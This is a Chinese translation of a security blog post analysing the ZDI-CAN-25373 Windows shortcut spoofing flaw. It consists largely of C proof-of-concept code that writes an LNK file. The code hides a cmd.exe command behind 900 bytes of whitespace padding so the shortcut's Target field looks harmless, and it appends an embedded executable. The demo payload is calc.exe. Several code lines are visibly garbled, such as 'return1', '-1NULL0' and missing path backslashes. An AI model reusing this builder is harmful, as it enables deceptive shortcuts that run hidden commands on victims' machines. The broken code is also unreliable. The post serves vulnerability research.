Windows LNK - 分析与概念验证

admin 2025年4月10日04:34:20评论3 views字数 12081阅读40分16秒阅读模式

【翻译】Windows LNK - Analysis & Proof-of-Concept


概述

我偶然看到了 Trend Micro 关于文章 ZDI-CAN-25373: Windows 快捷方式漏洞被广泛用于 APT 活动中的零日攻击 的分析报告。以下是他们的总结要点:

- Trend Zero Day Initiative™ (ZDI) 发现了近1000个恶意 .lnk 文件滥用 ZDI-CAN-25373 漏洞,该漏洞允许攻击者通过利用精心制作的快捷方式文件在受害者机器上执行隐藏的恶意命令。

- 这些攻击利用 .lnk 文件中隐藏的命令行参数来执行恶意负载,使检测变得复杂。ZDI-CAN-25373 漏洞的利用使组织面临重大的数据盗窃和网络间谍活动风险。

- 该漏洞已被朝鲜、伊朗、俄罗斯和中国的国家支持的 APT 组织利用。北美、欧洲、亚洲、南美和澳大利亚的政府、金融、电信、军事和能源部门的组织都受到了影响。

- 组织应立即扫描并确保针对 ZDI-CAN-25373 的安全缓解措施,对可疑的 .lnk 文件保持警惕,并确保建立全面的终端和网络保护措施以检测和应对此威胁。Trend Micro 客户通过2024年10月和2025年1月发布的规则和过滤器得到保护,免受可能的漏洞利用尝试。

浏览他们的博客文章,在"技术细节"部分提到 LNK 被滥用的方式是通过 Windows 用户界面显示快捷方式 (.LNK) 文件的内容。老调重弹,这是一个发送给受害者并诱使其打开和运行的 LNK 文件,从而执行嵌入在 LNK 文件中的恶意负载。LNK 允许修改图标,你可以从 shell32.dll 中找到这些图标 (有许多工具可以帮助提取)。

说这些就够了,让我们专注于这里提到的问题。根据 Trend Micro 的说法,威胁行为者滥用命令行参数 (与 LinkFlags 结构中的第 6 个成员相关联),启用 HasArgument 值并将其嵌入到 LNK 文件的 Target 字段中。在他们的文章中,他们还提到了 LinkTargetIDList 结构。该结构包含 LNK 文件的 target,当使用此结构时,LinkFlags 中的 HasLinkTargetIDList 标志将被设置为 1。他们还特别提到了在 COMMAND_LINE_ARGUMENTS 中嵌入的空白字符的填充字节。COMMAND_LINE_ARGUMENTS 是一个可选结构,用于存储激活链接目标时指定的命令行参数。如果 LinkFlags 中的 HasArguments 标志设置为 1,则必须存在此结构。

这种技术并不新鲜,我发现有几位研究人员已经发表了相关的博客文章:

  • Game of Thrones as a gateway to a botnet - 2019
    • https://foosecn00b.com/2019/07/game-of-thrones-as-a-gateway-to-a-botnet/
  • EmbedExeLnk - Embedding an EXE inside a LNK with automatic execution - 2022
    • https://archive.is/yjQJm

@foosecn00b 提到他的朋友分享的一个多 GB 的 LNK 文件 (笑),显示了一些奇怪的属性,其中 Target 字段似乎被欺骗而没有任何内容。

@x86matthew 提到他在野外看到过各种恶意 LNK 文件,他创建了一个概念验证 (非常棒和出色),允许创建 LNK 文件并将可执行文件 (EXE) 附加到文件末尾。

所以从技术上讲,在所有这些博客文章中,主要亮点是 Windows UI 中的 Target 字段。如果你查看属性,Target 字段似乎被欺骗了。我不会说这是一个安全问题,因为这可能是预期的功能。但我猜这可能会被 Microsoft 修复。

Windows LNK - 分析与概念验证
1

制作概念验证

我们知道空白字符是进行规避、绕过的主要负载之一,无论是在软件应用程序还是基于 Web 的应用中。

代码
十六进制
名称
9
09
水平制表符
10
0A
换行符
11
0B
垂直制表符
12
0C
换页符
13
0D
回车符
32
20
空格

Microsoft 在其门户网站上记录了 Shell Link (.LNK) 二进制文件格式,按照他们的指南制作概念验证非常容易。Shell Link 二进制文件格式由以下几个结构组成:

Windows LNK - 分析与概念验证
2

任何(二进制)文件格式都以特定的魔术字节作为文件头开始,这些魔术字节是启动任何关联应用程序所必需的。操作系统或软件应用程序会解析文件,并在执行文件格式的其余部分之前检查这些文件头。

Shell Link 二进制文件格式以 ShellLinkHeader 结构开始。该结构包含标识信息、时间戳和用于指定可选结构存在的标志,包括:

  • LinkTargetIDList
  • LinkInfo
  • StringData

以下是 ShellLinkHeader 的结构:

typedef struct _ShellLinkHeader {
    DWORD       HeaderSize;      // Must be 0x0000004C
    GUID        LinkCLSID;       // Must be 00021401-0000-0000-C000-000000000046
    DWORD       LinkFlags;       // Specifies presence of optional parts and properties
    DWORD       FileAttributes;  // Specifies file attributes of the target
    FILETIME    CreationTime;    // Creation time of the target file
    FILETIME    AccessTime;      // Last access time of the target file
    FILETIME    WriteTime;       // Last modification time of the target file
    DWORD       FileSize;        // Size of the target file in bytes
    DWORD       IconIndex;       // Index of an icon within a given icon location
    DWORD       ShowCommand;     // Expected window state (SW_SHOWNORMAL=1, SW_SHOWMAXIMIZED=3, etc.)
    WORD        HotKey;          // Keystrokes used to launch the application
    WORD        Reserved1;       // Must be zero
    DWORD       Reserved2;       // Must be zero
    DWORD       Reserved3;       // Must be zero
} SHELL_LINK_HEADER, * PSHELL_LINK_HEADER;

查看结构,我们知道某些结构成员具有确切的值大小,例如 HeaderSize 大小为 76 字节,而 LinkCLSID 值必须始终为 00021401-0000-0000-C000-000000000046。如果我们查看下面的示例,头部以 4C 00 开始,如果你注意到 01 14 02 字节是 Link CLSID 的小端字节。结构中还包含 LinkFlags 结构,用于指定有关 Shell Link 的信息。这是一个对我们来说非常有用的结构,我们可以根据需要进行操作和修改,以便伪造之前提到的一些信息。FileAttributesFlags 结构定义了用于指定链接目标文件属性的位,如果目标是文件系统项。

Windows LNK - 分析与概念验证
3

因此,要构建 Shell Link Header,我们需要相应地创建文件,然后一旦创建了这个句柄,我们就需要初始化 ShellLinkHeader 结构。由于我们这里有一个适当的结构,我们可以简单地访问结构成员列表并根据我们的偏好进行相应设置。首先,我们必须将 HeaderSize 设置为 0x0000004C,然后设置 LinkCLSID,以便我们的文件正确设置为 Shell Link 的类标识符。

    SHELL_LINK_HEADER header = { 0 };
    header.HeaderSize = 0x0000004C;

   header.LinkCLSID.Data1 = 0x00021401;
    header.LinkCLSID.Data2 = 0x0000;
    header.LinkCLSID.Data3 = 0x0000;
    header.LinkCLSID.Data4[0] = 0xC0;
    header.LinkCLSID.Data4[1] = 0x00;
    header.LinkCLSID.Data4[2] = 0x00;
    header.LinkCLSID.Data4[3] = 0x00;
    header.LinkCLSID.Data4[4] = 0x00;
    header.LinkCLSID.Data4[5] = 0x00;
    header.LinkCLSID.Data4[6] = 0x00;
    header.LinkCLSID.Data4[7] = 0x46;

现在我们进入重要部分,我们的代码必须启用所有这些 LinkFlags 以执行我们的 payload。这里我不创建结构体,而是直接定义 LinkFlags 的每个成员。

#define HAS_LINK_TARGET_IDLIST         0x00000001
#define HAS_LINK_INFO                  0x00000002
#define HAS_NAME                       0x00000004
#define HAS_RELATIVE_PATH              0x00000008
#define HAS_WORKING_DIR                0x00000010
#define HAS_ARGUMENTS                  0x00000020
#define HAS_ICON_LOCATION              0x00000040
#define IS_UNICODE                     0x00000080
#define FORCE_NO_LINKINFO              0x00000100
#define HAS_EXP_STRING                 0x00000200
#define RUN_IN_SEPARATE_PROCESS        0x00000400
#define HAS_LOGO3ID                    0x00000800
#define HAS_DARWIN_ID                  0x00001000
#define RUN_AS_USER                    0x00002000
#define HAS_EXP_ICON                   0x00004000
#define NO_PIDL_ALIAS                  0x00008000
#define FORCE_USHORTCUT                0x00010000
#define RUN_WITH_SHIMLAYER             0x00020000
#define FORCE_NO_LINKTRACK             0x00040000
#define ENABLE_TARGET_METADATA         0x00080000
#define DISABLE_LINK_PATH_TRACKING     0x00100000
#define DISABLE_KNOWNFOLDER_TRACKING   0x00200000
#define DISABLE_KNOWNFOLDER_ALIAS      0x00400000
#define ALLOW_LINK_TO_LINK             0x00800000
#define UNALIAS_ON_SAVE                0x01000000
#define PREFER_ENVIRONMENT_PATH        0x02000000
#define KEEP_LOCAL_IDLIST_FOR_UNC      0x04000000

以下是我在 LinkFlags 中使用和启用的各个成员的简要总结:

  • HAS_NAME
    • shell link 保存时带有名称字符串。我使用它是为了在 Windows UI 属性中的 Comment 字段显示对应的值。
  • HAS_ARGUMENTS
    • shell link 保存时带有命令行参数。这里我们将填充空白字符以及我们的 payload。我们稍后会详细讨论这部分。
  • HAS_ICON_LOCATION
    • shell link 保存时带有图标位置字符串。如果你想要在 LNK 中显示图标,需要启用此项。
  • IS_UNICODE
    • shell link 包含 Unicode 编码的字符串。这个位必须设置。如果设置了这个位,StringData 部分将包含 Unicode 编码的字符串;否则,将使用系统默认代码页编码的字符串。
  • HAS_EXP_STRING
    • shell link 保存时带有 EnvironmentVariableDataBlock

然后我们可以设置 FileAttributes。这个不是很重要,我用 0x00000000 测试过是可以工作的。如果你想添加时间戳,可以使用 GetSystemTime 获取你电脑的本地时间,并设置 CreateTimeAccessTime 和 WriteTime

最后,你可以根据需要设置 ShowCommand。你可以浏览 Microsoft 门户网站上的 ShowWindow 函数,使用 nCmdShow 的值。

    header.LinkFlags = HAS_NAME |
        HAS_ARGUMENTS |
        HAS_ICON_LOCATION |
        IS_UNICODE |
        HAS_EXP_STRING;

    header.FileAttributes = FILE_ATTRIBUTE_NORMAL;

    SYSTEMTIME st;
    GetSystemTime(&st);
    SystemTimeToFileTime(&st, &header.CreationTime);
    SystemTimeToFileTime(&st, &header.AccessTime);
    SystemTimeToFileTime(&st, &header.WriteTime);

    header.FileSize = 0;
    header.IconIndex = 0;
    header.ShowCommand = SW_SHOWNORMAL;
    header.HotKey = 0;
    header.Reserved1 = 0;
    header.Reserved2 = 0;
    header.Reserved3 = 0;

if (!WriteFile(hFile, &header, sizeof(SHELL_LINK_HEADER), &bytesWritten, NULL)) {
        printf("Failed to write header: %lun", GetLastError());
        CloseHandle(hFile);
        return1;
    }

关于头部信息就说到这里,接下来我们将创建链接描述,这是 LinkFlags 中 HasName 标志的一部分。虽然我们可以使用 StringData 结构来创建描述,但由于我们已经启用了 HasName 标志,我采用了一个快速的方法。我发现如果启用 HasName 标志,就可以直接创建描述,正如我之前提到的,这将显示在 Windows UI 的 Comment 字段中。在代码中,我们只需将字符串映射为 UTF-16(widechar)字符串。

    const char* description = "testing purpose";
    WORD descLen = (WORD)strlen(description);

    if (!WriteFile(hFile, &descLen, sizeof(WORD), &bytesWritten, NULL)) {
        printf("Failed to write description length: %lun", GetLastError());
        CloseHandle(hFile);
        return1;
    }

    int wideBufSize = MultiByteToWideChar(CP_ACP, 0, description, -1NULL0);
    WCHAR* wideDesc = (WCHAR*)malloc(wideBufSize * sizeof(WCHAR));
    if (!wideDesc) {
        printf("Memory allocation failedn");
        CloseHandle(hFile);
        return1;
    }

    MultiByteToWideChar(CP_ACP, 0, description, -1, wideDesc, wideBufSize);

    if (!WriteFile(hFile, wideDesc, descLen * sizeof(WCHAR), &bytesWritten, NULL)) {
        printf("Failed to write description: %lun", GetLastError());
        free(wideDesc);
        CloseHandle(hFile);
        return1;
    }
    free(wideDesc);

以下是示例:

Windows LNK - 分析与概念验证
4

现在是填充时间。COMMAND_LINE_ARGUMENTS 是一个可选结构,用于存储激活链接目标时指定的命令行参数(我再次重申!)。由于我们在 LinkFlags 中启用了 HasArguments 标志,我们可以通过填充 900 字节的空白字符(0x20,空格)来创建一个简单的填充。然后我们复制填充内容,并将我们的 payload 变量 calcCmd 添加到 cmdLineBuffer + fillBytes 中。在这种情况下,我没有发现填充大小有任何问题(至少在我的测试中),你可以根据需要添加任意多的填充字节。这只会增加 LNK 文件的大小 Windows LNK - 分析与概念验证

   const char* calcCmd = "/c C:\Windows\System32\calc.exe";

    char cmdLineBuffer[1024] = { 0 };

    int cmdLen = strlen(calcCmd);
    int fillBytes = 900 - cmdLen;
    memset(cmdLineBuffer, 0x20, fillBytes);

    strcpy(cmdLineBuffer + fillBytes, calcCmd);
    cmdLineBuffer[900] = '';

    WORD cmdArgLen = (WORD)strlen(cmdLineBuffer);
    if (!WriteFile(hFile, &cmdArgLen, sizeof(WORD), &bytesWritten, NULL)) {
        printf("Failed to write cmd length: %lun", GetLastError());
        CloseHandle(hFile);
        return1;
    }

    int wideCmdBufSize = MultiByteToWideChar(CP_ACP, 0, cmdLineBuffer, -1NULL0);
    WCHAR* wideCmd = (WCHAR*)malloc(wideCmdBufSize * sizeof(WCHAR));
    if (!wideCmd) {
        printf("Memory allocation failedn");
        CloseHandle(hFile);
        return1;
    }

    MultiByteToWideChar(CP_ACP, 0, cmdLineBuffer, -1, wideCmd, wideCmdBufSize);

    if (!WriteFile(hFile, wideCmd, cmdArgLen * sizeof(WCHAR), &bytesWritten, NULL)) {
        printf("Failed to write cmd: %lun", GetLastError());
        free(wideCmd);
        CloseHandle(hFile);
        return1;
    }
    free(wideCmd);

结果如下例所示:

Windows LNK - 分析与概念验证
5

然后我们根据您指定的路径创建图标。

   const char* iconPath = "path\to\your\icon";
    WORD iconLen = (WORD)strlen(iconPath);

    if (!WriteFile(hFile, &iconLen, sizeof(WORD), &bytesWritten, NULL)) {
        printf("Failed to write icon length: %lun", GetLastError());
        CloseHandle(hFile);
        return1;
    }

    int wideIconBufSize = MultiByteToWideChar(CP_ACP, 0, iconPath, -1NULL0);
    WCHAR* wideIcon = (WCHAR*)malloc(wideIconBufSize * sizeof(WCHAR));
    if (!wideIcon) {
        printf("Memory allocation failedn");
        CloseHandle(hFile);
        return1;
    }

    MultiByteToWideChar(CP_ACP, 0, iconPath, -1, wideIcon, wideIconBufSize);

    if (!WriteFile(hFile, wideIcon, iconLen * sizeof(WCHAR), &bytesWritten, NULL)) {
        printf("Failed to write icon path: %lun", GetLastError());
        free(wideIcon);
        CloseHandle(hFile);
        return1;
    }
    free(wideIcon);

示例:

Windows LNK - 分析与概念验证
6

现在是另一个重要部分,它将帮助我们的 payload 得以执行。我们启用了 HAS_EXP_STRING 标志,该标志与 Environment Variable Data Block 结构相关。根据 Microsoft 文档,当链接目标引用具有相应环境变量的位置时,EnvironmentVariableDataBlock 结构指定了环境变量信息的路径。

在此之前,我们需要了解 EnvironmentVariableDataBlock 是 ExtraData 结构成员的一部分。ExtraData 指的是一组传递有关链接目标的附加信息的结构。这些可选结构可以存在于附加到基本 Shell Link Binary File Format 的额外数据部分中。

EnvironmentVariableDataBlock 看起来比较敏感,你必须将 BlockSize 设置为 788 字节(0x00000314),并且我们必须设置 EnvironmentVariableDataBlock 的签名,即 0xA0000001。设置完这些后,我们可以为 TargetAnsi 分配 260 字节的缓冲区大小,为 TargetUnicode 分配 520 字节。这就是我们的 envPath 在执行 LNK 时被调用的地方,并在 COMMAND_LINE_ARGUMENTS 中调用其余参数。哦,我忘了提到我们在 LinkFlags 中启用了 IsUnicode 标志,这意味着我们的参数是以 Unicode 方式调用和执行的。

   const char* envPath = "%windir%\system32\cmd.exe";

    DWORD envBlockSize = 0x00000314;
    DWORD envSignature = ENVIRONMENTAL_VARIABLES_DATABLOCK_SIGNATURE;

    if (!WriteFile(hFile, &envBlockSize, sizeof(DWORD), &bytesWritten, NULL)) {
        printf("Failed to write env block size: %lun", GetLastError());
        CloseHandle(hFile);
        return1;
    }

    if (!WriteFile(hFile, &envSignature, sizeof(DWORD), &bytesWritten, NULL)) {
        printf("Failed to write env block signature: %lun", GetLastError());
        CloseHandle(hFile);
        return1;
    }

    char ansiBuffer[260] = { 0 };
    strncpy(ansiBuffer, envPath, 259);

    if (!WriteFile(hFile, ansiBuffer, 260, &bytesWritten, NULL)) {
        printf("Failed to write TargetAnsi: %lun", GetLastError());
        CloseHandle(hFile);
        return1;
    }

    WCHAR unicodeBuffer[260] = { 0 };

    if (MultiByteToWideChar(CP_ACP, 0, envPath, -1, unicodeBuffer, 260) == 0) {
        printf("Failed to convert to Unicode: %lun", GetLastError());
        CloseHandle(hFile);
        return1;
    }

    if (!WriteFile(hFile, unicodeBuffer, 520, &bytesWritten, NULL)) {
        printf("Failed to write TargetUnicode: %lun", GetLastError());
        CloseHandle(hFile);
        return1;
    }

示例:

Windows LNK - 分析与概念验证
7

我更倾向于说这是一个欺骗问题,你可以操纵 Shell Link 从 EnvironmentVariableDataBlock 调用 cmd.exe,并通过 COMMAND_LINE_ARGUMENTS 执行其参数,同时使用额外的空白字符填充字节并在其上连接实际的 payload。因此,我们实际上看到的是 Windows UI 中 Target 字段被欺骗的情况。抱歉这些话可能有点令人困惑,哈哈。

当然,你也可以在 LNK 文件的末尾嵌入一个可执行文件,并且可以修改 COMMAND_LINE_ARGUMENTS 来执行你的 payload(PowerShell 大法好!)。以下是可用于在 LNK 文件中嵌入可执行文件的示例代码:

 printf("Reading calc.exe from %sn", pExePath);
for (;;)
    {
        if (ReadFile(hExe, exeBuffer, sizeof(exeBuffer), &exeFileSize, NULL)) 
        {
            printf("Successfully read calc.exe: %lu bytesn", exeFileSize);

            if (exeFileSize == 0)
            {
                break;
            }

            if (!WriteFile(hFile, exeBuffer, exeFileSize, &bytesWritten, NULL)) {
                printf("Failed to write embedded exe data: %lun", GetLastError());
                free(exeBuffer);
                CloseHandle(hFile);
                return1;
            }

            printf("Successfully embedded calc.exe in LNK file: %lu bytes writtenn", bytesWritten);
            free(exeBuffer);
        }
        else {
            printf("Failed to read calc.exe, continuing without embeddingn");
        }
    }

我就把整个练习留在这里给你们了,哈哈。这是嵌入在 LNK 文件中的示例 payload:

Windows LNK - 分析与概念验证
8

我想目前就这些了。如果有异议随时提出,我在分析过程中可能有错误。

原文始发于微信公众号(securitainment):Windows LNK - 分析与概念验证

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年4月10日04:34:20
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   Windows LNK - 分析与概念验证https://cn-sec.com/archives/3880584.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息